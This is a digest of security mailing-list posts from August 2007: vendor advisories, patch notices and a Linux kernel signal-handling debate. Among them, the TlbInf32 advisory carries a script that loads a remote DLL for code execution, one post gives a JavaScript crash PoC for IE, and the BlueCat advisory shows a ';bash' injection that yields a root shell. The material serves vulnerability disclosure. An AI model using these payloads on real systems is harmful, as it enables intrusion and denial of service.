TlbInf32 ActiveX Command Execution

2007-08-16 Thread Brett Moore

= TlbInf32 ActiveX Command Execution
=
= MS Bulletin posted:   
= http://www.microsoft.com/technet/security/Bulletin/MS07-045.mspx
=
= Affected Software:
=  Internet Explorer
= tlbInf32.dll
= vstlbinf.dll
=
= Public disclosure on Wednesday August 15, 2007


The TypeLib Information object library , implemented in TlbInf32.dll,
is a set of COM objects designed to make type library browsing 
functionality easily accessible to both Visual Basic and C++
programmers.

Although it is not marked as safe for scripting in the registry, it does
implement IObjectSafety.

   Report for Clsid: {8B217746-717D-11CE-AB5B-D41203C1}
   RegKey Safe for Script: False
   RegKey Safe for Init: False
   Implements IObjectSafety: True
   IDisp Safe:  Safe for untrusted: caller,data


The TypeLibInfoFromFile() function is used to open a file and retrieve
the
typelib information from it.

   TypeLibInfoFromFile(ByVal FileName As String) As TypeLibInfo

This function will accept a webdav/smb share to a DLL file, allowing the
retrieval of information from a DLL hosted on a remote server.


TlbInf32.chm 
  Type libraries can contain help information for the library itself
  (TypeLibInfo object), each TypeInfo (TypeInfo object), and each member
  (MemberInfo object). This information is available in several
different 
  forms.

  HelpString is the documentation string which appears as a short 
  description of the string in object browsers. If the optional LCID 
  (Language/Country identifier) is specified, then the returned string
is
  localized if possible.

  Documentation strings can be stored either in the type library
directly
  or retrieved via a call to the DLLGetDocumentation entry point in the
Dll
  specified by the HelpStringDll property. 
  
  The HelpStringContext is passed to the HelpStringDll to get the
correct
  documentation string for the object. The HelpStringDll and 
  HelpStringContext properties values are used automatically by the 
  HelpString property.



If the DLL file specified in the call to TypeLibInfoFromFile() has been 
modified to direct the HelpStringDll property to a DLL which exports
a malicious DLLGetDocumentation function, then this function will be 
executed when a request for the HelpString property is made. 

   object width=1000 height=20 classid=CLSID:CLASSID
name=test/object
   x= test.TypeLibInfoFromFile(IPADDRESS\\SHARE\\remote.dll)
   ' Call the remote DLLGetDocumentation function
   alert(x.Interfaces.Item(a).Members.Item(b).HelpString)

== Solutions ==

Install the vendor supplied patch.
http://www.microsoft.com/technet/security/Bulletin/MS07-045.mspx

== Credit ==

Discovered and advised to Microsoft November 23 2006 by Brett Moore of
Security-Assessment.com

As this is my last advisory release before I leave sa.com and head off 
into the future, I gotta say thanx to the team there, its been a blast
guys. 

All you kiwis overseas have you thought about a trip home.
www.kiwicon.org

+-SoSD-+


Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-16 Thread Dan Yefimov
On Wed, 15 Aug 2007, Wojciech Purczynski wrote:

 Sending a signal to privileged process is a privilege itself.

Sure. But once control was transferred to some other code that we have no 
control over, we have no more control over when the signal is sent. We just 
can't send that signal at arbitrary moment. If you as an attacker can create 
arbitrary setuid root binary in the system, this game is not worth anymore, 
since you already won.

 Under some
 circumstances this may lead to other consequences. For example I was able
 to code local root exploit using some very common suid binary, although
 its usage is somewhat limited.
 
Again, if an attacker can create arbitrary setuid root binary in the system,
the latter is already broken. And if the setuid root binary allows arbitrary 
code execution on getting some signal, it is vulnerable itself. Unexpected 
signals can be generated at any time by terminals, init, various system 
daemons, non-blocking i/o for files open before exec(), alarms, failed pageins, 
etc. If the program (not necessarily setuid/setgid) can't properly handle those 
situations, it is broken by design. Signals are not something we can trust.
-- 

Sincerely Your, Dan.



Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-16 Thread Wojciech Purczynski

 Could you please explain it to me where do you see privilege escalation
 here?

Sending a signal to privileged process is a privilege itself. Under some
circumstances this may lead to other consequences. For example I was able
to code local root exploit using some very common suid binary, although
its usage is somewhat limited.


[USN-498-1] libvorbis vulnerabilities

2007-08-16 Thread Kees Cook
=== 
Ubuntu Security Notice USN-498-1August 16, 2007
libvorbis vulnerabilities
CVE-2007-3106, CVE-2007-4029
===

A security issue affects the following Ubuntu releases:

Ubuntu 6.06 LTS
Ubuntu 6.10
Ubuntu 7.04

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 6.06 LTS:
  libvorbis0a  1.1.2-0ubuntu2.2

Ubuntu 6.10:
  libvorbis0a  1.1.2-1ubuntu1.2

Ubuntu 7.04:
  libvorbis0a  1.1.2.dfsg-1.2ubuntu2

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

David Thiel discovered that libvorbis did not correctly verify the size
of certain headers, and did not correctly clean up a broken stream.
If a user were tricked into processing a specially crafted Vorbis stream,
a remote attacker could execute arbitrary code with the user's privileges.


Updated packages for Ubuntu 6.06 LTS:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2-0ubuntu2.2.diff.gz
  Size/MD5: 1945 86c1fc2f0361eb0db830f867693a548e

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2-0ubuntu2.2.dsc
  Size/MD5:  697 c620f1d709ab55f55b183fd3c91bce93

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2.orig.tar.gz
  Size/MD5:  1316434 37847626b8e1b53ae79a34714c7b3211

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)


http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis-dev_1.1.2-0ubuntu2.2_amd64.deb
  Size/MD5:   488058 fcd99f10a7fb558a943974dbb563c9f0

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis0a_1.1.2-0ubuntu2.2_amd64.deb
  Size/MD5:   101362 35ee478f24e55bb802928d63ed50987c

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisenc2_1.1.2-0ubuntu2.2_amd64.deb
  Size/MD5:   100724 9e207785d1061752b9c6a775021c5a72

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisfile3_1.1.2-0ubuntu2.2_amd64.deb
  Size/MD5:18634 ca50aa565c499a5e1e852683dc9b3eed

  i386 architecture (x86 compatible Intel/AMD)


http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis-dev_1.1.2-0ubuntu2.2_i386.deb
  Size/MD5:   468650 99c44c0a44e97b14c60b2792f68dfa46

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis0a_1.1.2-0ubuntu2.2_i386.deb
  Size/MD5:95664 a54dc7b20cc26bc3f9310e44ac4c5302

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisenc2_1.1.2-0ubuntu2.2_i386.deb
  Size/MD5:82654 b8925d42ec69fad0e5369cb058279ac3

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisfile3_1.1.2-0ubuntu2.2_i386.deb
  Size/MD5:18758 a3e870b7c250e1ad382273351a2c0c01

  powerpc architecture (Apple Macintosh G3/G4/G5)


http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis-dev_1.1.2-0ubuntu2.2_powerpc.deb
  Size/MD5:   503142 de3fa1e43f1969c184a2830a3bada1a3

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis0a_1.1.2-0ubuntu2.2_powerpc.deb
  Size/MD5:   105654 238300db6aa1e8ba618cf97de53adb40

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisenc2_1.1.2-0ubuntu2.2_powerpc.deb
  Size/MD5:86510 cea1dd0b049c9cf7709ff9addbc9ce9e

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisfile3_1.1.2-0ubuntu2.2_powerpc.deb
  Size/MD5:21872 a5ccde83452225ee9572591b3ac12089

  sparc architecture (Sun SPARC/UltraSPARC)


http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis-dev_1.1.2-0ubuntu2.2_sparc.deb
  Size/MD5:   478886 e1b097b2557761166b4c72cb1941a8d5

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis0a_1.1.2-0ubuntu2.2_sparc.deb
  Size/MD5:98930 ddaa87cf4d545ed435ce6b5d2d7686dc

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisenc2_1.1.2-0ubuntu2.2_sparc.deb
  Size/MD5:84502 aba0dee287ffe6cc9dd31410cdf0c480

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbisfile3_1.1.2-0ubuntu2.2_sparc.deb
  Size/MD5:19474 9ca0632d7eec2b2c5357ff0cf6dd5bd5

Updated packages for Ubuntu 6.10:

  Source archives:


http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2-1ubuntu1.2.diff.gz
  Size/MD5: 4485 ddcf8d4ff7fd81dab82dcadc27fbab2b

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2-1ubuntu1.2.dsc
  Size/MD5:  785 a8d9b7dd0e10ad85880e1865487a1068

http://security.ubuntu.com/ubuntu/pool/main/libv/libvorbis/libvorbis_1.1.2.orig.tar.gz
  Size/MD5:  1316434 37847626b8e1b53ae79a34714c7b3211

  amd64 

Re: Trackeur v.1 Remote File #304;nclude Bug

2007-08-16 Thread the . tiger100
sorry man but its not exploit
u forgot something

include(track_config.php);

and this code in the begining of ur file that contain the exploit
and the config file have value for
$header

track_config.php
//Design
$header=c_header.php;
$footer=c_footer.php;

so it CAANT BE INCLUSION

it already have value in the config nd the tracking.php file included  the 
config so its not inclusion 


Olate Download 3.4.1 ~ admin.php ~ Admin authentication bypassing

2007-08-16 Thread imei Addmimistrator
VISIT ORIGINAL LINK FOR MORE DETAILES
http://myimei.com/security/2007-08-16/olate-download-341adminphpauthentication-bypassing.html
VISIT ORIGINAL LINK FOR MORE DETAILES

oftware: Olate Download
 Sowtware's Web Site: http://www.olate.co.uk/
 Versions: 3.4.1
 Status: Unpatched
 Exploit: Available
 Solution: Not Available
 Discovered by: imei addmimistrator
 Risk Level: High
 —–Description—
 There is some flews in Olate Download software, one of the popular
files' links list, Ideal for download sites, that results to bypassing
authentication of site's admin. An attacker can gain access to Admin
area have full control permissions to maintaing entire site.


VISIT ORIGINAL LINK FOR MORE DETAILES
http://myimei.com/security/2007-08-16/olate-download-341adminphpauthentication-bypassing.html
VISIT ORIGINAL LINK FOR MORE DETAILES


-- 
imei Addmimistrator
Visit my SeQrity Homepage at:
http://myimei.com/security


MS07-042 XMLDOM substringData() PoC

2007-08-16 Thread Alla Bezroutchko
This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2

var xmlDoc = new ActiveXObject(Microsoft.XMLDOM);
xmlDoc.loadXML(dummy/dummy);
var txt = xmlDoc.createTextNode(huh);
var out = txt.substringData(1,0x7fff);

Installing the patch from MS07-042 fixes it.

Cheers,
Alla Bezroutchko
Scanit - http://www.scanit.be/




FLEA-2007-0046-1 cups

2007-08-16 Thread Foresight Linux Essential Announcement Service
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Foresight Linux Essential Advisory: 2007-0046-1
Published: 2007-08-14

Rating: Major

Updated Versions:
cups=/[EMAIL PROTECTED]:devel//[EMAIL PROTECTED]:1-devel//1/1.2.12-0.2-1
group-dist=/[EMAIL PROTECTED]:1-devel//1/1.3.2-0.8-2

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3387
https://issues.foresightlinux.org/browse/FL-471
https://issues.rpath.com/browse/RPL-1596
https://issues.rpath.com/browse/RPL-1604

Description:
Previous versions of the cups package are vulnerable to an int overflow
in included xpdf code, which can be exploited via a specially-crafted PDF
file to execute arbitrary code.

- ---

Copyright 2007 Foresight Linux Project
This file is distributed under the terms of the MIT License.
A copy is available at http://www.foresightlinux.org/permanent/mit-license.html
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.7 (GNU/Linux)

iD8DBQFGxEgWWu/kq4lN9jkRApuYAJ0RI6vX98gwIfG97BFV3Za2sbkjtgCePZNo
82BDXAmioNAnPzINzAGo7EQ=
=Dyo+
-END PGP SIGNATURE-


Another Oracle Forensics Paper...

2007-08-16 Thread David Litchfield

Hey all,
For anyone that's interested I've just posted another paper entitled Oracle 
Forensics Part 6: Examining Undo Segments, Flashback and the Oracle Recycle 
Bin. You can get this and other papers on Oracle forensics from 
http://www.databasesecurity.com/oracle-forensics.htm

Cheers,
David Litchfield

--
E-MAIL DISCLAIMER

The information contained in this email and any subsequent
correspondence is private, is solely for the intended recipient(s) and
may contain confidential or privileged information. For those other than
the intended recipient(s), any disclosure, copying, distribution, or any
other action taken, or omitted to be taken, in reliance on such
information is prohibited and may be unlawful. If you are not the
intended recipient and have received this message in error, please
inform the sender and delete this mail and any attachments.

The views expressed in this email do not necessarily reflect NGS policy.
NGS accepts no liability or responsibility for any onward transmission
or use of emails and attachments having left the NGS domain.

NGS and NGSSoftware are trading names of Next Generation Security
Software Ltd. Registered office address: 52 Throwley Way, Sutton, SM1
4BF with Company Number 04225835 and VAT Number 783096402


Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-16 Thread Dan Yefimov
On Thu, 16 Aug 2007, Glynn Clements wrote:

  The signal in question in the given situation is issued by PRIVILEGED 
  process, 
  no matter how.
 
 And that's the bug,

The case we consider is of course a bug. But generally privileged process 
sending a signal to another privileged process is of course not a bug.
Yes, the user toggles a signal that privileged process sends to another one,
but how many ways to trigger sending a signal to a process spawned by that user 
are there? User can always press Ctrl-C, Ctrl-Q, Ctrl-R at the terminal, he can 
hang up the terminal, he can open some socket/pipe/FIFO for non-blocking I/O
and issue fcntl() call to activate sending either a SIGIO or some other signal 
when some new data become available in it, he can issue alarm(), and probably 
many, many, many other ways. Yes, all they can be turned off, but that would 
require a large artificial intelligence and excessive knowledge about
everything occurred in the system before startup from the program being
started. It's much simpler for that program to just block, ignore or install 
proper signal handler for every possible signal in the system whose default
action is terminating a process.

 because it's an unprivileged process which
 *causes* the signal to be issued. If the process tried to send the
 signal directly with kill(), it would fail. This vulnerability is a
 form of privilege escalation; it can cause the sending of signal which
 would normally be prohibited on security grounds.
 
The matter here is that you cannot abuse this bug to send arbitrary signal to 
arbitrary process in the system. You can only send it to your children. And
this is in general not exploitable. For example, what scary things can happen 
when you send SIGKILL, SIGQUIT, SIGBUS, SIGSTOP or SIGSEGV to /bin/su in 
condition that the latter doesn't allow arbitrary code execution on receiving a 
signal?

  Well written program must not depend on anything that is out of 
  it's control.
 
 That's neither possible

Really? Let's consider the following scenario. You write an analogue of 
/bin/passwd. Here you make a temporary copy of /etc/shadow, hard link 
/etc/shadow to /etc/shadow- pre-removing existing /etc/shadow- if that exists,
perform operations on the temporary copy of /etc/shadow, close it and issue 
rename() on it to rename it to /etc/shadow. According to specs (see rename(2)) 
rename() atomically removes /etc/shadow (at this point it is an old link to an 
old /etc/shadow content) and renames temporary copy of /etc/shadow to 
/etc/shadow. At any point in this algorithm the content of /etc/shadow is 
consistent.

 nor sensible.

If it is not sensible, it is the more not a problem.

 Programs have to rely upon the
 OS to guarantee certain behaviours. The problem here is that there is
 a mechanism which causes a guarantee to be violated.
 
Yes, and I said this is a bug, but it is in general not exploitable.

 Just in case it hasn't sunk in yet, the inability to trust signals is
 a consequence of this bug. Ordinarily, it should be possible to rely
 upon the fact that an asynchronous signal cannot be sent to a suid
 process by an unprivileged user.
 
I disagree with you in that. Any hard guarantee can be given only by God.
I repeat, signals are in general not a reliable information source since they 
can be generated in a couple of ways, even by an unkind superuser :-) .

  In fact, PDEATHSIG should be reset for every binary, not just suid/sgid, 
  since 
  it emits signal that exec()ed program may not expect.
 
 Are you talking about the parent exec()ing or the child?
 
No matter.

 If you're talking about the child, that would almost entirely defeat
 the purpose of having PDEATHSIG.
 
The only useful exploitation of PDEATHSIG I can imagine is signalling to a 
server subprocess that it's superprocess died for some reason and the
subprocess should exit as far as possible in order to avoid some harm. That 
model doesn't include execing.

  But in any case, every program shouldn't trust any signal in the
  system. That is a good tone rule.
 
 In which case, what's the point of having signals in the first place?
 
 Processes are supposed to respond to signals. Security is achieved
 placing controls on who can signal who, and this bug circumvents that
 mechanism.
 
But the process in general is in no way obliged to respond to every signal 
unless explicitly wanted.

  I still don't see why this bug should be considered as a security issue but 
  not 
  as an ordinary bug.
 
 Because it's a form of privilege escalation. Non-root processes can't
 normally send signals to processes which are owned by another UID (and
 most modern operating systems prevent non-root processes from sending
 signals to any process where suid/sgid is involved regardless of the
 current UID or EUID).
 
I repeat, this bug cannot be abused to send arbitrary signal to arbitrary 
process in the system. Only direct successors (children) are affected, and this 
is in 

Re: Vulnerability in multiple now playing scripts for various IRC clients

2007-08-16 Thread Wouter Coekaerts
On Wednesday 15 August 2007 18:27, [EMAIL PROTECTED] wrote:
 I may be rusty with knowledge about mirc (say almost 10 years out of
 date)...but, in what situation would the pipe ('|') ever be processed from
 a variable, even if it was read from a mp3 ID3?

It gets processed before it ends up in an mirc variable. The plugin to link 
your media player to mirc sends something like:
/set %songname insert song name here
And it's when executing that command that it goes wrong already, not in the 
command that's using the variable. That's why it's easier to exploit: the 
user only needs to play the song, he doesn't need to do anything in mirc.

In my old notes, I found that at least these plugins have this problem:
* Nullsoft mIRC Control Plug-in v0.6 (gen_mirc.dll) and other versions
* mIRC Control EX Plug-In V 2.00 (gen_ircex.dll) and other versions
* mIRCPlug v1.0,1.2 (gen_mircplug.dll)

Those are all old plugins. I don't know if they're still used a lot, or what 
the currently popular plugins for this are, and if they're vulnerable or not.

On Wednesday 15 August 2007 19:34, Michael Tharp wrote:
 This is probably a bigger concern for *nix scripts, especially of the
 homebrew variety

I haven't found any public script for a *nix client that allows arbitrary 
command execution like this (they only allow sending IRC commands to the 
server).

Wouter.


TS-2007-003-0: BlueCat Networks Adonis CLI root privilege escalation

2007-08-16 Thread anonymous.c7ffa4057a
Template Security Security Advisory
---

  BlueCat Networks Adonis CLI root privilege escalation

  Date: 2007-08-16
  Advisory ID: TS-2007-003-0
  Vendor: BlueCat Networks, http://www.bluecatnetworks.com/
  Revision: 0

Contents


  Summary
  Software Version
  Details
  Impact
  Exploit
  Workarounds
  Obtaining Patched Software
  Credits
  Revision History

Summary
---

  Template Security has discovered a root privilege escalation
  vulnerability in the BlueCat Networks Adonis DNS/DHCP appliance
  which allows the admin user to gain root privilege from the
  Command Line Interface (CLI).

Software Version


  Adonis version 5.0.2.8 was tested.

Details
---

  The admin account on the Adonis DNS/DHCP appliance provides
  access to a CLI that allows an administrator to perform tasks
  such as setting the IP address, netmask, system time and system
  hostname.  By entering a certain command sequence, the
  administrator is able to execute a command as root.

Impact
--

  Access to the admin account is the same as root access on the
  appliance.

Exploit
---

  Here we use the 'set host-name' CLI command to execute a root
  shell:

:adonisset host-name ;bash
adonis.katter.org
[EMAIL PROTECTED]:~# id
uid=0(root) gid=0(root) groups=0(root)

  NOTE: There may be other command sequences that accomplish the
  same result.

Workarounds
---

  Only provide admin account access to administrators that also
  have root account access on the appliance.

Obtaining Patched Software
--

  Contact the vendor.

Credits
---

  forloop discovered this vulnerability while enjoying a Tuborg
  Gold.  forloop is a member of Template Security.

Revision History


  2007-08-16: Revision 0 released




Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-16 Thread Glynn Clements

Dan Yefimov wrote:

   If setuid program just 
   trusts the environment in that it doesn't properly handle or block 
   signals 
   whose default action is terminating the process and doesn't perform it's
   actions in a fail-safe manner, it is certainly broken. Setuid program 
   must 
   always be careful in signal handling and data processing.
  
  Ordinarily, a process can assume that certain signals (those which can
  only be generated by kill()) can only be received as a result of an
  action by a sufficiently privileged process.
 
 The signal in question in the given situation is issued by PRIVILEGED 
 process, 
 no matter how.

And that's the bug, because it's an unprivileged process which
*causes* the signal to be issued. If the process tried to send the
signal directly with kill(), it would fail. This vulnerability is a
form of privilege escalation; it can cause the sending of signal which
would normally be prohibited on security grounds.

 Well written program must not depend on anything that is out of 
 it's control.

That's neither possible nor sensible. Programs have to rely upon the
OS to guarantee certain behaviours. The problem here is that there is
a mechanism which causes a guarantee to be violated.

  Also, other signals which could be triggered by the predecessor (e.g. 
  SIGALRM triggered due to alarm() followed by exec()) can normally be
  prevented by specific means (e.g. resetting any outstanding timers). 
  This bug means that such steps are insufficient.
  
  A consequence of this bug is that no signal can be trusted.
 
 Sure.

Just in case it hasn't sunk in yet, the inability to trust signals is
a consequence of this bug. Ordinarily, it should be possible to rely
upon the fact that an asynchronous signal cannot be sent to a suid
process by an unprivileged user.

  Also, if it's possible to set the signal to one which cannot be
  blocked (SIGKILL, SIGSTOP), there's not much that the callee can do
  about it.
 
 Yes, and well written program must operate in a fail safe way, that is if it 
 is 
 killed, for example, by sadly known OOM killer, all data it operated on must 
 remain in a consistent state.

However nice failsafe may be, it is often either impossible or
impractical. In general, a process shouldn't have to protect itself
against the superuser, and in some respects shouldn't even try to.

   From another hand, 
   PDEATHSIG should be always reset on exec() like signal handlers are (I'm 
   not 
   sure though if that is directly specified by any standard). Please 
   correct me
   if I'm wrong.
  
  prctl() isn't specified by any standard; it's Linux-specific.
  
  That's a significant part of the problem: code which isn't
  specifically written for Linux isn't going to take steps to mitigate
  this issue (e.g. reset the parent death signal).
  
  But the suggestion that this should be reset on exec() (at least for a
  suid/sgid binary) is sound, IMHO.
 
 In fact, PDEATHSIG should be reset for every binary, not just suid/sgid, 
 since 
 it emits signal that exec()ed program may not expect.

Are you talking about the parent exec()ing or the child?

If you're talking about the parent, it isn't the parent's successor
(the exec()d program which inherits the parent's PID) which gets the
signal.

If you're talking about the child, that would almost entirely defeat
the purpose of having PDEATHSIG.

A parent uses this feature to cause a signal to be delivered to its
children when it terminates. The children will usually be created by
fork()+exec(), so resetting it upon exec() would mean that it was only
useful for the fork()-without-exec() case, which is quite uncommon.

 But in any case, every program shouldn't trust any signal in the
 system. That is a good tone rule.

In which case, what's the point of having signals in the first place?

Processes are supposed to respond to signals. Security is achieved
placing controls on who can signal who, and this bug circumvents that
mechanism.

 I still don't see why this bug should be considered as a security issue but 
 not 
 as an ordinary bug.

Because it's a form of privilege escalation. Non-root processes can't
normally send signals to processes which are owned by another UID (and
most modern operating systems prevent non-root processes from sending
signals to any process where suid/sgid is involved regardless of the
current UID or EUID).

  Moreover, I would suggest that exec()ing a suid/sgid binary should
  reset *everything* which is not explicitly specified as being
  preserved.
 
 Specified with what?

POSIX, XPG, SUS.

 Do open files fall into this category?

Descriptors are preserved across exec() unless the FD_CLOEXEC flag is
set.

http://www.opengroup.org/onlinepubs/009695399/functions/execve.html

File descriptors open in the calling process image shall remain
open in the new process image, except for those whose close-on-
exec flag FD_CLOEXEC is set. For those file descriptors that
remain open, all 

[ GLSA 200708-11 ] Lighttpd: Multiple vulnerabilities

2007-08-16 Thread Raphael Marichez
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200708-11
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
 Title: Lighttpd: Multiple vulnerabilities
  Date: August 16, 2007
  Bugs: #185442
ID: 200708-11

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


Several vulnerabilities were reported in Lighttpd, most of them
allowing a Denial of Service and potentially the remote execution of
arbitrary code.

Background
==

Lighttpd is a lightweight HTTP web server.

Affected packages
=

---
 Package   /  Vulnerable  / Unaffected
---
  1  www-servers/lighttpd   1.4.16  = 1.4.16

Description
===

Stefan Esser discovered errors with evidence of memory corruption in
the code parsing the headers. Several independent researchers also
reported errors involving the handling of HTTP headers, the mod_auth
and mod_scgi modules, and the limitation of active connections.

Impact
==

A remote attacker can trigger any of these vulnerabilities by sending
malicious data to the server, which may lead to a crash or memory
exhaustion, and potentially the execution of arbitrary code.
Additionally, access-deny settings can be evaded by appending a final /
to a URL.

Workaround
==

There is no known workaround at this time.

Resolution
==

All Lighttpd users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose =www-servers/lighttpd-1.4.16

References
==

  [ 1 ] CVE-2007-3946
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3946
  [ 2 ] CVE-2007-3947
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3947
  [ 3 ] CVE-2007-3948
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3948
  [ 4 ] CVE-2007-3949
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3949
  [ 5 ] CVE-2007-3950
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3950

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200708-11.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
===

Copyright 2007 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


pgpNXtFHQdNfG.pgp
Description: PGP signature


[ GLSA 200708-12 ] Wireshark: Multiple vulnerabilities

2007-08-16 Thread Raphael Marichez
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200708-12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
 Title: Wireshark: Multiple vulnerabilities
  Date: August 16, 2007
  Bugs: #183520
ID: 200708-12

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


Multiple vulnerabilities have been discovered in Wireshark, allowing
for the remote execution of arbitrary code and a Denial of Service.

Background
==

Wireshark is a network protocol analyzer with a graphical front-end.

Affected packages
=

---
 Package /  Vulnerable  /   Unaffected
---
  1  net-analyzer/wireshark   0.99.6= 0.99.6

Description
===

Wireshark doesn't properly handle chunked encoding in HTTP responses
(CVE-2007-3389), iSeries capture files (CVE-2007-3390), certain types
of DCP ETSI packets (CVE-2007-3391), and SSL or MMS packets
(CVE-2007-3392). An off-by-one error has been discovered in the
DHCP/BOOTP dissector when handling DHCP-over-DOCSIS packets
(CVE-2007-3393).

Impact
==

A remote attacker could send specially crafted packets on a network
being monitored with Wireshark, possibly resulting in the execution of
arbitrary code with the privileges of the user running Wireshark which
might be the root user, or a Denial of Service.

Workaround
==

In order to prevent root compromise, take network captures with tcpdump
and analyze them running Wireshark as a least privileged user.

Resolution
==

All Wireshark users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose =net-analyzer/wireshark-0.99.6

References
==

  [ 1 ] CVE-2007-3389
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3389
  [ 2 ] CVE-2007-3390
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3390
  [ 3 ] CVE-2007-3391
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3391
  [ 4 ] CVE-2007-3392
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3392
  [ 5 ] CVE-2007-3393
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3393

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200708-12.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
===

Copyright 2007 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


pgpZkSDzAwNa3.pgp
Description: PGP signature


Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-16 Thread Glynn Clements

Dan Yefimov wrote:

   The signal in question in the given situation is issued by PRIVILEGED 
   process, 
   no matter how.
  
  And that's the bug,
 
 The case we consider is of course a bug. But generally privileged process 
 sending a signal to another privileged process is of course not a bug.
 Yes, the user toggles a signal that privileged process sends to another one,
 but how many ways to trigger sending a signal to a process spawned by that 
 user 
 are there? User can always press Ctrl-C, Ctrl-Q, Ctrl-R at the terminal, he 
 can 
 hang up the terminal, he can open some socket/pipe/FIFO for non-blocking I/O
 and issue fcntl() call to activate sending either a SIGIO or some other 
 signal 
 when some new data become available in it, he can issue alarm(), and probably 
 many, many, many other ways.

All of these are known, documented behaviours. The signals involved
can be blocked or ignored, and the mechanisms which send those signals
can be disabled (tcsetattr() can disable Ctrl-C etc, unused
descriptors can be closed, timers can be reset, etc).

Setuid programs will normally take such steps at startup if they have
critical sections which should avoid being interrupted (e.g. to
prevent stale lock files).

However, the bug in question allows sending signals which cannot be
blocked or ignored (SIGKILL, SIGSTOP). Moreover, the cause (PDEATHSIG)
cannot be disabled, and will be unknown to to programmers who aren't
familiar with the Linux-specific prctl() call (and even programmers
who know about it won't be allowing for the fact that it could be
triggered by an unprivileged process due to this bug).

 Yes, all they can be turned off, but that would 
 require a large artificial intelligence and excessive knowledge about
 everything occurred in the system before startup from the program being
 started.

Such is life for anyone writing a setuid executable. However, the
issues are known and documented. At least, most of them are; but not
the PDEATHSIG issue.

 It's much simpler for that program to just block, ignore or install 
 proper signal handler for every possible signal in the system whose default
 action is terminating a process.

SIGKILL and SIGSTOP cannot be blocked, handled or ignored. Signals
which don't terminate the process may still have undesirable
consequences, e.g. use of SIGUSR1 as a secure signalling mechanism (at
